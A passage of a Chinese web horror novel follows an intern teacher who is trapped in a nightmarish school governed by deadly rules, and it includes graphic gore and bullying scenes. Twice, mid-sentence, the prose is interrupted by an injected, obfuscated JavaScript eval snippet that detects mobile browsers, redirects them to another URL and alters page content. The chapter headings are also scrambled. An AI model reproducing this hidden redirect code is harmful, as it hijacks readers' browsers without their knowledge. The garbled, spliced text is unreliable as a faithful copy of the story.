“你别睡了!快起来想想辙啊!你说抢分那事儿,我能不能搭把手?我拿过我们小区老年太极友谊赛的冠军,我觉得我还挺能打的。” “老沈?老沈!真睡着了?情况都这么糟了你还能睡着??” 沈笑白不是睡着了,是故意装睡。 她实在不想面对老王这一连串的问题,话痨和胆小这两个属性,在他一个人身上算是齐了。 也不知道是老王碎碎念起了催眠的效果,还是今天用脑过度实在太累了,装睡装着装着,她就真睡着了。 往常如果边上没有纪燃把守,她是不会睡得这么死的,但今天可能是格外累,一下就进入了深度睡眠。 一直到凌晨1点左右,房间里响起一阵急促的拍窗声,沈笑白才从睡梦中惊醒。 她几乎是立刻弹坐起来的,心脏砰砰直跳,扭头看向声音的来源。 那个倒吊的身影不知道什么时候已经趴在了窗外,正一下一下激烈地拍着玻璃,震得封住窗户的木条都在颤。 沈笑白暗自懊恼自己怎么睡得这么死,但转念一想那东西进不来,又很快定了神。 她开始盘算,要不要趁这个机会看清楚它到底是什么?说不定对自己拿满意值有帮助。虽然这两者看起来毫无关联,但错纬里的线索,总是藏在这种莫名其妙的地方。 于是她壮着胆子走到窗边,屏住呼吸,凑近木板之间的缝隙往外看。 就在她眯着眼找角度的时候,拍窗声突然停了。 沈笑白蹙眉,屏息观察了好一会儿,又往前凑了凑。窗户外面空空荡荡,什么都没有。 走了? “咚咚咚咚咚咚!” 门外突然炸开一阵激烈的砸门声,对方像是发了疯一样砸门,那架势就像是要把门拆了。 沈笑白本能地后退了一步,离门口远了一些。可就在这时,身后的窗户处传来一股浓烈的霉味。 她立刻扭头查看,这一看,全身的血液瞬间凝固。 一张人脸正紧紧贴在玻璃上。 在这个到处都是无脸人的错纬里,沈笑白还是第一次看见有脸的人。 可那张脸根本不能称之为脸。 整张脸像是被活生生砸过一样。鼻子塌进脸里,嘴巴歪到了一边,一只眼睛鼓得快要掉出来,另一只深深凹了进去,只剩一个黑洞。 四肢像是被折断后又胡乱拼了回去,胳膊和腿都朝着不可能的角度弯折着,整个人倒吊在窗外,正对着她笑。 这个扭曲的姿态,让沈笑白联想到了白天那些违规被拖走的老师。他们被拖走时,四肢也是这副模样,这两者之间会有什么关联吗? 但不管怎样,在看清对方的样貌后,沈笑白心里踏实了不少。因为人们恐惧的从来不是鬼怪本身,而是未知。 所以当那个倒吊人第十次出现在窗边的时候,沈笑白已经腻得懒得再看它了。 她靠在床头,满脑子都在思考这个倒吊人和白天那些规则之间有什么关联,会不会对自己的满意值有帮助。但想了半天,也没理出什么头绪。 要是能再冒出点新东西,给她一些线索或者转机就好了。 沈笑白这样想。 或许是人倒霉到了极点的时候真的会否极泰来,宿舍楼里还真就出现了些新的动静。 走廊外面响起一阵奔跑声,声音的主人边跑边喊: “救命——!救命啊——!” 沈笑白立刻坐直了,全身警惕起来。 那声音越跑越近,一路从楼下往上蹿,一直跑上了六楼。紧接着,走廊里响起了疯狂的敲门声。 “开门!求求你们开门让我进去!救救我!有鬼在追我!有鬼!” 沈笑白记得这个声音。 他是今晚去学生宿舍查寝的那个一班老师。 她原以为对方要么已经死在了学生宿舍,要么早就安全回来了,结果现在凌晨一点多了,他还在外面? 查寝查了三个多小时?现在才回来?他到底在那干什么了? 21. 第3x7章 一班老师在走廊上一间一间地敲门,一间一间地求,从这头求到那头,可就是没有一个人给他开门。 这很正常。 先不说开门的时候会不会把鬼怪也放进来,就说你怎么证明自己的身份,怎么证明你不是鬼怪假冒的,不是专门来骗大家开门的? 没有人敢在这时候做这个善良的好心人。 此刻不止是沈笑白,整栋宿舍楼的老师全都醒着,大家全都站在门边,贴在门板上听着外面的动静,大气都不敢出一下。 “你别过来!别过来!啊——!” 一班老师发出一阵惊恐的惨叫,紧接着是一声闷响,听起来像是他被什么东西扑倒在地。 然后是一阵布料被疯狂撕扯的声音,再然后是一种黏腻潮湿的撕扯声,一声接一声,密集而残忍。直到一股浓烈的血腥味从门缝里渗进来,大家才终于意识到,那黏腻的撕扯声来自他的血肉。 对方正在一块一块地撕下他身上的皮肉,活生生的。 那撕扯声中还夹杂着对方的低语,嘶哑含混,每个字都裹着一股浓烈的恨意: “我都没考上……你们凭什么考上……凭什么……” “去死……都给我去死……” 然后,一班老师的声音彻底没了。 到了这一刻,大家才确认门外的那人真的是一班老师,不是鬼怪假扮的。没有哪个鬼怪会为了骗开门,无聊到把自己活生生撕碎来演这出戏。 可确认了又怎样呢? 轮到他们自己查寝的时候怎么办?也会违规吗?也会像这样被一块一块活生生撕下皮肉吗? 走廊里渐渐安静下来,但每个人心里的恐惧却越来越重。 沈笑白倒是和大家的想法不太一样。 她并不觉得这个老师一定是因为查寝违规而死的。现在距离查寝时间已经过去了三个多小时,要违规早违规了,不至于拖到现在。 她更倾向于另一种可能,对方是在回来的路上被什么东西盯上了,一路跑回宿舍,最终还是没逃掉。 看来这个学校到了晚上12点之后,在外面游荡的鬼怪远不止倒吊人一个。 12点是一条时间红线,在此之前必须回到宿舍。 “老、老沈?你没事吧?” 一个细小的声音从床底的地缝里传出来,颤颤巍巍的。 王勇先探出一根触须,左右晃了晃,确认外面彻底安全之后,才慢慢把整个身体从地缝里挤出来。 沈笑白低头看了他一眼:“你倒是会找地方躲,就不知道喊我一声?” 王勇被说得有些心虚,触须缩了缩:“我喊你了,喊了好几声你都没醒。” 倒吊人刚跑进宿舍楼的时候他就听到了动静,扯着嗓子喊了一遍又一遍,可沈笑白睡得太死,一点反应都没有。后来倒吊人趴在窗户上,那张脸贴上来的时候,王勇吓得浑身发抖,本能地钻进了地缝里躲起来。 “后来外面的动静实在太瘆人了,又是拍窗户又是喊救命的,我实在不敢出来。” 王勇越说越惭愧,触须也耷拉下来,“这会儿动静小了,我才敢出来看看……看能帮忙做点啥。” “帮忙?”沈笑白道,“真要等你出来帮忙,我早化成灰了。” 她对王勇这个胆小怕事的脾气早就摸透了,从来不指望他在关键时刻能帮上什么忙。她只有一个要求,别添乱就行。 所以对这件事,沈笑白倒也没什么太大的情绪。只是王勇自己觉得惭愧,暗恨自己一把年纪了胆子还是这么小,一遇到事就知道躲。以至于后半夜他没怎么说话,就那么缩在墙边,一个蟑螂懊悔了一整晚。 直到第二天一早,沈笑白看他还在那儿缩着,随口说了一句:“行了,一把年纪了还跟自己较劲。今天也别出去,跟昨天一样待在宿舍。” 说完她就推门走了出去。 意料之中的,走廊中央躺着一具白森森的骨架,完整地躺在血泊里,骨头上还挂着没撕干净的肉丝。周围到处都是飞溅的血迹,已经半干了,碎肉块散落一地,大大小小的到处都是。 如果不是那副人形骨架还在,没人会把这一地的碎肉跟一个人联系起来。 其他房间的人走出来看到这个场景,直接扶着墙干呕起来。 可再恶心又怎样?课还是要上的。 倒也不是不能请假,而是他们需要去接触学生拿满意值,待在宿舍里,满意值不会自己送上门,于是大家只能忍着恶心往教学楼出发。 沈笑白和纪燃在上课前准备去食堂吃点东西,解悠悠则是说她不去了,吃不下,现在只想吐。 沈笑白应了一声,和纪燃到了食堂,随手拿了两个包子。反正拿什么都一样难吃,没什么区别。 刚咬了两口,学生就餐区那边突然传来一声脆响。 一个女生摔倒在地,餐盘扣在地上,饭菜撒了一身,汤汁顺着校服往下淌。她的脸上写着编号,学生14号。 旁边那张桌子上坐着几个学生,正对着地上的女生嘲笑着。其中笑得最厉害的是章磊,他的脚甚至还伸在外面没收回来,明摆着就是他故意绊的。 “哎哟,不好意思啊。”章磊假惺惺道,“我腿长没看见你,要不我给你重新打一份?” 旁边几个死党笑得更欢了。 “打什么打?穷鬼也配跟咱们吃一样的?” “就是,我看掉地上的东西才跟她配。” “那就在直接地上吃呗,正合适。” “哈哈哈,有道理!” 其中一个学生站起来,端起自己的餐盘,把里面的残渣剩饭全倒在14号头上,“来来来,我再给你加点,管够!不够吃说啊,别客气!” 换成任何人被这样羞辱,都忍不了,早就一巴掌扇过去了。可14号女生却一声不吭,只是紧紧攥着拳头,拼命压抑着怒火。 这时候另一个女生小跑过来,脸上写着学生01号,她伸手想扶14号起来:“你没事吧?快起来,别理他们。” “滚。”14号一把甩开她的手,“用不着你现在来装好人。” 14号自己站起来,抖了抖身上的饭菜,头也没回地跑出了食堂,留下01号一个人尴尬的站在原地。 章磊见欺负的对象走了,立刻把目标转移到了01号身上,他上下打量了一圈,嗤笑一声: “怎么,穷鬼和穷鬼之间,还惺惺相惜上了?你帮人家,人家领你的情吗?热脸贴冷屁股。” 旁边一个死党又道:“我说今天食堂味道怎么这么大,原来是一股穷酸味啊,臭死了,你们闻见没有?” “闻见了闻见了哈哈哈哈,穷鬼自带那股味儿,走哪儿臭哪儿!” “真不知道学校怎么把这种人招进来的,拉低整个学校的档次。” 01号学生被他们说得脸一阵红一阵白的,低着头想从旁边绕过去,可那几人又把她挡了回来,围在中间继续你一言我一语地攻击着。 边上好几桌的学生都看不下去了,忍不住交头接耳起来。 “章磊也太过分了,连女生都欺负。” “他什么人你不清楚?男的女的都一样,只要家里没钱,他就瞧不上。” “上次有个男生不小心踩了他一脚,他直接让对方跪下来把鞋舔干净了。” “嘘!小声点,被他听见就完了,校霸的舌根子你们都敢嚼?” 纪燃在教工就餐区看到这一幕,用胳膊肘顶了顶沈笑白:“好机会啊,你快去出手帮忙教训那个校霸,那女生一感动,说不定就把满意值给你了,你不是正缺吗?” 沈笑白还没来得及开口,隔壁桌一个男老师就先站了起来。 他的现在的满意值是负八十,离目标一百还差得远,他不能放过任何一个抢分的机会。 他整了整衣领,正准备迈步过去博好感,一只手却从旁边伸过来,直接按住了他的肩膀。 按住他的人是雷子。 “你干什么?”男老师想甩开对方的手。 雷子却没松手,反而往前逼了一步:“那个学生01号是我班上的,你想抢我班里的满意值?” 男老师冷笑一声:“你班上的又怎样?谁能拿到算谁的,我们各凭本事。” “各凭本事是吧?”雷子咧嘴一笑,“行啊,那就各凭本事。” 他话音刚落,身后齐刷刷站过来七八个实习老师,有男有女,全都眼神不善地盯着那个男老师。 很明显,他们这些人已经结盟了。 男老师根本没来得及跑,就被这群人团团围住,你一拳我一脚地揍了下去。 他完全还不了手,只能蜷缩在地上抱着头,声音断断续续的:“别打了……我错了……再也不敢抢你们班分了……” 那群人没停手,一直打到男老师躺在地上说不出话,只剩喘气的份,雷子才满意地点点头,示意大家停手。 雷子其实不是非要打这个人,而是要借这个机会,让在场的所有实习老师都看清楚,敢抢他们联盟团队里的满意值,就是这个下场。 效果也是立竿见影。 那些原本有抢分心思的老师看到这一幕,彻底断了念想,没人敢再去惹这群已经抱团的人。 但雷子还嫌不够,他转头看向自己那七八个盟友,故意提高音量,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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昨天他低声下气去求沈笑白带他,话都说到那个份上了,对方还是一口拒绝。他当时憋了一肚子火,回到宿舍就立刻找人结盟,连夜拉了七八个人。 他要让所有人站在一起,一起对抗她,绝不能让沈笑白抢到一个分。 “负一千两百五十分。”雷子喃喃自语道,“看你还能上哪去拿满意值。” …… “从我这里拿满意值!我的多!” “我的也多,一会拿我的!” 上课时间还没到,七班教室里的学生已经坐得满满当当。他们昨天在家长会上被沈笑白摆了一道,所以今天早早赶到了教室,准备发起反击。 经过昨天一天的相处,他们已经明白硬碰硬是斗不过沈笑白这只老狐狸的。 于是他们决定假意服软装乖,先给沈笑白送一百点满意值,好让下午考试的时候她别使绊子,最好还能帮着他们一起写卷子,做作弊,先把成绩拉上来再说。毕竟再考零分,他们肯定会被家长销毁的。 等沈笑白实习结束的最后一天,他们再把手上的全部满意值给她打成负分,打她个措手不及。 章磊想到这个点子的时候,觉得自己真是个天才,他满心欢喜地提醒大家:“一会儿你们都演得像一点,一定要装成再也不敢闹的样子!” “明白!一会儿我先给她送8分,我的满意值多。” “还有我,拿我的,我的满意值也多。” 章磊点了点头:“行,你们分多的凑一下,凑个一百就够了,别给太多,后面还得留着扣分用。” …… 七点半,上课铃准时响起。 七班的学生全都乖巧地坐在课桌上,望着门口,翘首以盼。 然而,当看到进来的人时,所有人都愣住了。 “怎么是你?”章磊蹭地站了起来,“沈笑白呢?” 纪燃大摇大摆地走上了讲台,把书往桌上一拍:“你们沈老师今天请假,我来代课,兔崽子们,都给我消停点。” 沈笑白这一招釜底抽薪,彻底打乱了学生们的计划,他们从没见过这种操作。 实习老师来上课就是为了从学生身上拿满意值的,请假找人代课,就等于把满意值白白送给代课老师,谁会干这种傻事? 章磊整个人都懵了:“她疯了吗?不要满意值了?不想转正了?等着被销毁?” 这句话,半小时前纪燃也对沈笑白说过。 当时沈笑白说让他帮忙代课,他一脸震惊:“请假?你疯了吗?不要满意值了?” 可沈笑白却回了他一句更疯的话。 “嗯,不要了。” “七班的满意值你随便拿,想拿多少就拿多少。” 22. 第√?484 章 在食堂听到沈笑白这句话的时候,纪燃拿包子的手顿了一下。 这次错纬的纬令是拿到招聘合同,而拿合同需要攒够一百满意值,沈笑白现在不要满意值,就意味着完不成纬令。 “你到底想干什么?”他盯着沈笑白,“完不成纬令,你怎么离开错纬?” “离开错纬,不是还有另一种方式吗。”沈笑白道。 这下纪燃手里的包子直接掉在桌上,骨碌碌滚了两圈。 他当然知道对方说的另一种方式是什么。 离开错纬一共有两种方式,一种是按照要求完成纬令,另一种是…… 杀了纬主。 纬主是错纬空间的源头,整个空间因都是因它而生的,只要纬主一死,错纬空间就会瞬间瓦解。到那时候,根本不用管纬令有没有完成,所有人都能活着出去。 但这个办法没人愿意用。 因为纬主太难杀了,十个去杀纬主的人里面,九个都会失败,最终死在纬主手里。剩下那个就算侥幸杀成了,也至少要搭进去半条命。 纪燃脸上的表情彻底沉了下来,他很少露出这种样子,平时再大的事也都是一副玩世不恭的样子,可此刻像变了个人,他沉声道: “你忘了自己的右手是怎么断的?” 沈笑白抬起自己的右手,翻过来看了眼。 小臂以下是银黑色的义肢,泛着冷冽的金属光泽。 这只右手就是上次杀纬主的时候废掉的,当时的情况也是纬令完不成,沈笑白没别的路可走,只能硬杀纬主。最后纬主虽然杀死了,但她自己也搭进去半条命,出来后命是保住了,右手却没有保住。 但沈笑白并不后悔这件事,她觉得不亏。 “如果能杀得了纬主,”她道,“再废一只手也值了。” “值什么值?”纪燃一下激动了起来,“上次我们能杀成功,是因为那个纬主是最弱的妖,你能保证这次也是吗?” “万一这次遇上的是灵,甚至是神呢?”他咬了咬牙,“那根本连想都别想。” 妖域,鬼域,灵域和神域,这四类错纬的纬主能力天差地别。如果纬主是妖或者鬼,搏一搏还能杀的了,但如果碰上神和灵,那根本连动手的资格都没有。 “没你说的那么倒霉。” 沈笑白道,“纬主越强,规则就越复杂。但这个错纬的规则不算难,不可能是灵域或者神域,顶多是妖域或鬼域。妖和鬼都有各自的弱点,只要找到了,就能杀。” “你说的轻巧。” 纪燃还是觉得这方法不靠谱,“想找弱点,至少得先知道纬主是谁。可这个学校看得见看不见的东西加起来少说成千上万个,光是找纬主这一关就够呛的。” “那你说怎么办?”沈笑白打断他,“完成纬令的路已经彻底堵死了,我现在没得选。” 她边说边朝雷子那桌抬了抬下巴。 雷子那个联盟本来就有七八个人了,现在又凑过去几个人打算加入,照这个速度,雷子今天就能把剩下的老师全部拉进来,所有人联合起来防着沈笑白抢分。 “就算我有本事从这些人手里抢到分,也不一定能活着出去。” 沈笑白分析道,“他们被我抢了分以后,自己的分就不够用,只能困在这里等死,所以他们在死之前一定会拼死拉上我垫背。” “对方有十几个人,就算加上你,我们两个也打不过他们。” 纪燃很想说我能打,但话到嘴边又咽了回去。 他知道沈笑白说得对,五六个人他还能应付,七八个人咬咬牙也能扛,可对面是十几个人。 要是在外面,他分分钟就能把这些人解决了,可在错纬里所有科技手段都失效的情况下,他还真的打不过。 沈笑白看着他那副愁眉苦脸的样子,反而笑了一下:“行了,这次情况比上次好多了,上次没经验是硬杀的纬主,这回好歹知道从哪儿下手了。” 其实沈笑白这么做还有个原因,她没有告诉纪燃。 从进到这个错纬开始,她就总觉得方缺在故意推着她去抢分,推着她跟其他老师斗,想看她如何在泥潭里挣扎求生。 可她偏偏最讨厌被人牵着鼻子走,方缺越想看她去抢分,她就偏不去抢,哪怕为此要付出更大的代价。 她觉得自己一把年纪了还这么孩子气,说出来实在丢人,才没有提。 话都说到这个份上了,纪燃知道沈笑白已经打定主意,他深吸一口气道: “那我也不攒满意值了,我跟你一起杀纬主。反正杀了纬主大家都能出去,满意值也没用了。” “你没必要跟我去冒险。”沈笑白道,“你们班上的满意值够你用了,足够你完成纬令安全离开。” “不可能。”纪燃一口拒绝,“我干不出这种丢下同伴自己走的事,要死一起死,要活一起活。” “不行。”沈笑白也一口拒绝,“我需要你活着。” 她定定地看着对方,认真道:“如果我死了,有个很重要的东西需要你帮我带出去,所以你必须活着。” 她需要纪燃活着,帮她把王勇安全带出去。 并不是因为她跟王勇感情有多深,也不是她有多伟大多高尚,而是王勇答应帮她办的那件事还没办完,这件事只有他能办,这件事是沈笑白就算死了也要完成的事。 所以纪燃必须活着,把王勇安全带出去。 沈笑白对纪燃很少有这么认真严肃的时候,纪燃知道她要自己带出去的东西一定很重要,这种时候,他也知道不能感情用事。 “行。”他答应了下来,“如果你真出了事,我一定帮你把东西安全带出去。” “但你需要帮忙的时候也一定要喊我,别一个人硬扛。” 沈笑白笑了笑:“放心,免费的劳动力,我绝不会浪费的。” 两人就这样达成了共识。 沈笑白去杀纬主,纪燃则继续完成纬令的要求,攒满意值,拿合同。 攒满意值的方法跟昨天说的一样。 下午学生考试的时候动动手脚,帮着做作弊,总之得先把学生们的成绩提上去。到了晚上家长会,就拿这些成绩去家长那里换满意值。 而且得让家长逼着学生,先把学生手里的满意值打完,彻底清空他们的弹药,免得后面使坏。 纪燃的初始满意值是负五百,昨天一天下来被扣了五十,现在是负五百五。他们班家长和学生手上至少还有九百多分,按这个方式操作,达到正一百绰绰有余,根本不需要去其他班抢分。 确认好方案之后,沈笑白还特意叮嘱纪燃,让他把这个方法也告诉解悠悠:“我后面没功夫管她了,你有空就帮忙照看她一下,尽量让她也能完成纬令。” 纪燃刚想说,不过才认识一天,你怎么就对她这么上心?结果就听到沈笑白补了一句: “等她完成纬令出去以后,一定盯着她把信用点打了。” “她还欠我三百六十二万四千五百点的感谢费没给。” 纪燃:“……” “都什么时候了还惦记这个?有这功夫不如想想怎么找纬主!” 纪燃被沈笑白这副分不清轻重缓急的样子气得不行,又拿对方没辙,只能丢下这句话,一脸恨铁不成钢地往教学楼走去。 “怎么还气上了。” 沈笑白看着对方离去的背影,喃喃自语了一句。 她当然不是那么分不清轻重缓急的人,怎么找纬主,她心里其实已经有了大致的思路。 这个错纬空间里的一切,包括规则,都是因纬主而产生的。所以这些规则本身,就是找到纬主的最佳线索。 沈笑白把目前所有规则归成了两类。 一类是黑板规则。 课堂、考试、家长会这三个场景下的的黑板规则,全都围绕着同一个主题,成绩。这说明纬主对成绩这件事,有着近乎偏执的执念。 这条线索很清晰,可以从成绩入手去查。 另一类是警示牌规则。 宿舍禁止十一点后开灯,食堂禁止外带,教学楼禁止坠楼。 这三条规则之间有什么共性,和纬主又有什么关联,沈笑白暂时看不出来,像是缺了最关键的一块拼图,怎么都对不上。 她只能先把警示牌规则搁在一边,从眼下已经明确的黑板规则入手,先沿着成绩这条线索开始查。 要查成绩,最好的地方就是学校的档案室,里面存放着所有的成绩记录和相关的师生信息。 沈笑白直接上了教学楼六楼,来到档案室门前。 让她有些意外的是,这么重要的地方,门竟然是敞开的,里面也没有人看守。可偏偏门上贴着一张告示,煞有介事地写着: 档案室重地!专人把守!闲人免进! 沈笑白看了一眼那行字。 她很忙,不算是闲人。 于是直接走了进去。 里面的空间很大,一排排的铁皮柜整齐地列在室内,就像图书馆的书架一样,中间留出过道。柜子里塞满了文件夹,按年份和班级排列,从建校那一年的档案一直排到今年。 靠窗的位置摆着办公桌,桌上有一台电脑,屏幕是黑的,看起来处于关机状态。 沈笑白正准备去查看,电脑就自动开机了,和教室里的那台一样,似乎是检测到有老师进来,就会自动开启。这所学校的设备,出人意料地还挺智能的。 她没有浪费时间,立刻在电脑上检索起来。 一通筛查下来,她锁定了八个最有可能是纬主的人,其中三个是教职工,五个是学生。 这些人,要么因为成绩而被推向另一种人生,要么因为变故而导致成绩崩塌,坠入谷底。但无论哪种,成绩对他们来说都不只是一串数字,是长在他们命里的东西。 只有被成绩烙印得这么深的人,才会生出这么深的执念,深到能创造出一个空间出来。 这其中,有两个人沈笑白有印象。 学生14号和学生01号。 她们是早上在食堂被章磊欺负的那两个女生,也是上次家长会前,沈笑白在走廊遇到的那两个女生。 这两个人怎么总是一起出现? 沈笑白调出她们俩的档案,看了看,发现一件有意思的事。 这两个女生,从初中开始就在同一所学校,更巧的是,章磊也一样。而且初中时,三个人甚至还在同一个班级。 既然从小就认识,怎么在食堂碰上的时候,看起来一副不熟的样子?不仅不熟,反而像是有什么过节一样。 太可疑了。 沈笑白重新把这三个人的资料仔仔细细看了一遍。 学生21号,章磊。 成绩常年垫底,经常考个位数甚至零分。但家境优渥,父母都是高学历,收入也高,家庭地址写的是城东的豪宅区。 学生01号,吴欠。 成绩优秀,经常考第一,年年拿奖学金。但家境贫困,父母都没读过书,靠务农为生,她是家里的独女。凭着这份成绩,学校免了她的学费,还额外给了助学金。 学生14号,周旋。 成绩优秀,经常和吴欠轮流考第一,不是她第一,就是吴欠第一。家境一般,父母离异,和妈妈一起住。 沈笑白盯着三份档案,脑子里正想着这三个人之间的古怪联系,一个声音突然从身后响起。 “档案室重地,谁允许你私自进来的?” 门口站着一个穿灰色制服的无脸人,脸上写着,档案室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528279|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管理员。 这个声音沈笑白认得,是第一场考试的那个考官,也是给她初始满意值打-1000的人。 管理员也认出了沈笑白,阴阳怪气地先开了口:“在这也能碰上你,真是倒霉。” 沈笑白道:“你给我打了-1000的满意值,该说倒霉的是我吧?” “那是你自找的。”管理员冷冷道,“要不是你破解了考题还告诉了其他考生,那批人根本不可能通过。” “现在招进来那么多新老师,我的岗位直接被你们顶了,害得我只能来看档案室。” 沈笑白之前一直以为考官对她们的恶意那么大,巴不得她们全都死在考试里,是因为考官需要拿她们来进食。 但现在看来,新老师一批批地招进来,原本在岗的老师就会被一个个顶掉,转岗去做别的杂活,这才是那些考官一上来就那么大的敌意的真正原因。 归根结底,他们是怕被人抢了饭碗。 “那方缺呢?”沈笑白问,“我们进来了,她怎么没有被顶掉岗位?” “校长是她亲妈,谁敢顶她的岗位?” 管理员嗤笑一声,“你连满意值都攒不够,还想顶别人的岗?就凭我给你打的那-1000分,你想拿合同都够呛吧?” “是挺够呛的。” 沈笑白弯了弯眼睛,“所以作为补偿,你需要回答我几个问题。” “有病吧?”管理员一脸莫名其妙,“我凭什么回答你?” “就凭档案室重地,专人把守,闲人免进。” 沈笑白指了指门上贴的告示,“你说,我要是去找方主任,举报你擅离职守出去偷懒,她会不会把你调去扫厕所,或者直接把你开了?” “还是说,直接销毁?” 管理员瞬间沉默了,他怕了。 方缺这个人阴晴不定,谁也猜不透她在想什么,总是因为一些莫名其妙的原因就惩罚人,对方说的这种情况还真有可能发生。偏偏她还是校长的女儿,大家根本拿她没办法。 沈笑白看出对方已经被拿捏住了,不打算浪费这个机会,直接问出了那个她一直没琢磨透的问题。 “警示牌的事,你知道多少?”她说,“全部告诉我。” 管理员沉默了许久,才不情不愿地开了口。 他说这些警示牌以前是没有的,后来出了人命,学校才立起来警告大家别作死。 违反警示牌规则的话,全校的学生和老师都会被集体开除,而开除的后果就是被销毁。所以到现在为止,他还没见过哪个不要命的敢挑战警示牌的规则。 沈笑白听完很快抓住了关键:“教学楼,宿舍,食堂,这三个地方都死过人?” 管理员点头,一个个说了起来。 “教学楼那个,是之前有个学生在窗边看书太入迷,一个没注意翻下去摔死了,学校就在那里放了警示牌,说以后严禁私自坠楼。真是好笑,谁没事会去坠楼啊?” “食堂那个,是有个厨子贪钱,把买新鲜食材的钱扣下来,去网上买便宜劣质的外卖成品给学生吃,学生们直接吃拉肚子了,还有个学生直接吃死了,那学生的家长一怒之下,就把那厨子捅死了。” “所以学校就立了个牌子,以后禁止外带食物,省得再吃死人。” “那宿舍呢?”沈笑白问,“有人因为开灯死了?开灯怎么死人?” “不是开灯死的。” 管理员说,“是有个女生通宵打游戏,连着熬了好几晚,最后猝死在床上了。学校怕别人也跟着作死,就立了牌子,十一点后必须关灯。” 提到这件事,他忍不住吐槽起来:“我就没见过这么荒唐的死法,一个女生不好好学习,打什么游戏?还通宵打?真是头一回见。” 沈笑白听到这话,忽然弯起了眼睛。 “怎么?”她笑眯眯道,“现在打游戏不靠手,是要靠那根东西才能打吗?没有长那玩意儿就打不了了?” “还是说,她要是长着那根东西,通宵打游戏的时候就不会猝死了?” 管理员被她噎住了,完全无法反驳。 沈笑白没再揪着这个话题继续下去,她现在已经摸清了警示牌的规则。三个警示牌,分别对应了三条人命。 “这三个人叫什么?”沈笑白又问。 管理员不情不愿地答道:“那两个学生叫程赛男和金英,那个厨子叫葛鸿雁。” 沈笑白正要去电脑上调出她们的档案,却被管理员一句话堵了回来:“别查了,学校容不下这种不光彩的事,早把她们的档案销毁了,知道这些事的人也基本都不在学校了。” 沈笑白思索片刻后,又问:“她们当时都住校吗?” “都住校,但两个学生的宿舍早拆了,家长知道死过人非闹着拆。”管理员道,“只有葛鸿雁的那间还在,但死过人的屋子谁愿意住,就一直空着。” “她住哪间?” “教工宿舍,303。” 沈笑白在脑中把这些信息一条一条整理好。 之前根据黑板规则筛出来的八个人,加上现在根据警示牌规则筛出来的三个人,一共十一个可疑对象。 但光凭这些档案信息和故事,根本推断不出谁是纬主,她需要亲自去接触他们来判断。 现在还是上课时间,学生和老师都在教室,她暂时没办法接触,眼下唯一能去的地方,就是厨子葛鸿雁的宿舍。 沈笑白很快来到教工宿舍303的房门口。 门被一把铁锁从外面锁住了,锁头上积了厚厚一层灰,她皱着眉看了一眼,没伸手去碰。转而在杂物间找了把锤子,一榔头把锁砸开。 锁头应声而断,落在地上发出一声闷响。 她伸手推开了门。 23. 第52-2章 一股霉味和灰尘的气息扑面而来,呛得人想咳嗽。 沈笑白在门口站了会儿,等味道散开一些才走进去。 这间宿舍的布局和她那间的差不多,床、书桌、衣柜、还有一个简易的小厨房,但所有家具都是空的,里里外外都落满了灰。 整个房间里没有衣服,没有杯子,也没有鞋子,找不到任何一件属于葛鸿雁的私人物品。 可管理员明明说,这间宿舍在出事之后就被锁起来了,一直没有人进来过,那她的东西是谁清理的? 更奇怪的是那些家具。 书桌上,衣柜上到处都是深浅不一的凹痕,密密麻麻的,几乎每一件家具上都有。 住在房里的人脾气似乎很差,经常在屋里砸东西发泄情绪,但这些砸痕看着有些怪,说不上来是用什么砸的。 沈笑白不敢放过任何线索,开始仔仔细细地翻看每一个角落。当她翻到书桌的时候,发现在书桌和墙壁之间的夹缝里,正卡着一个黑乎乎的本子。 她没直接伸手去拿,从口袋里抽出纸巾,叠了两层包住手,才把那个东西从夹缝里勾了出来。 擦干净之后,才发现那是一本日记本。本子已经破旧得不像样子了,封面磨损得几乎看不清底色,边角也全都卷曲起来。 日记封面上写着三个字。 葛鸿雁。 这三个字写得极好,隽秀又端正,透着一股浓浓的书卷气。 然而,当沈笑白翻开日记本的时候,那股书卷气息就彻底粉碎了。 里面的字像是换了个人在写,歪歪扭扭的,乱得像个刚开始认字的小朋友写出来的,甚至还有很多离谱的错别字。 三月十日 废了这么大劲,终于进这个学校的食堂了,钱比之前在老家挣的多多了。 三月十五日 今天有个学生说我做的菜像猪食,我问她哪里不好吃,她又改口说好吃好吃,他们这些城里人到底什么意思? 四月一日 领导今天找我谈话,说如果再收到投诉就让我走人。我不能走!我塞了那么多红包,费了那么大劲才进来的,我绝对不能走! 五月十日 今天和食堂的人吵了一架,动不动就说要扣我钱,一定是看我是乡下来的才这么欺负我! 六月三日 女儿的学校又来催学费了,怎么到处都在问我要钱! 六月二十日 钱钱钱又是钱!你们怎么全都盯着我的钱!!! 七月十日 今天又砸坏了一个桌子,学校说再搞坏校内资产就要我十倍赔偿。十倍?我拿什么赔?烦死了! 八月一日 烦死了烦死了烦死了! 八月三日 钱钱钱钱钱钱!!!! 日记越往后,字迹就越潦草,到后面几页几乎通篇写的都是钱钱钱和烦死了。而且字写得特别用力,好几处纸都被划破了,整本日记都透着一股压不住的暴躁。 本子里还夹着一张照片,看起来像是葛鸿雁入职时拍的证件照,在这个全是无脸人的错纬里,这是沈笑白第二次看见有脸的人。 照片里的葛鸿雁看起来一脸凶相,眉毛压得很低,嘴角往下撇着,像是随时要发火的样子。但如果仔细看的话,会发现她的眼神其实没有那么凶,甚至有点愣。 就在沈笑白准备再多看两眼的时候,身后突然传来一个声音。 “谁让你进葛大姐房间的?” 门口站着一个穿灰色制服的无脸人,脸上写着保洁两个字。 保洁刚从六楼打扫完下来。 昨晚死在那儿的男老师,碎肉溅了一地,她花了整整四个小时才弄干净,拖地拖到腰都直不起来,好不容易搞完正准备歇口气,转头看见303的锁头被砸了,火一下就蹿了上来。 “外面挂着锁就是不让进的意思,你还敢砸?” 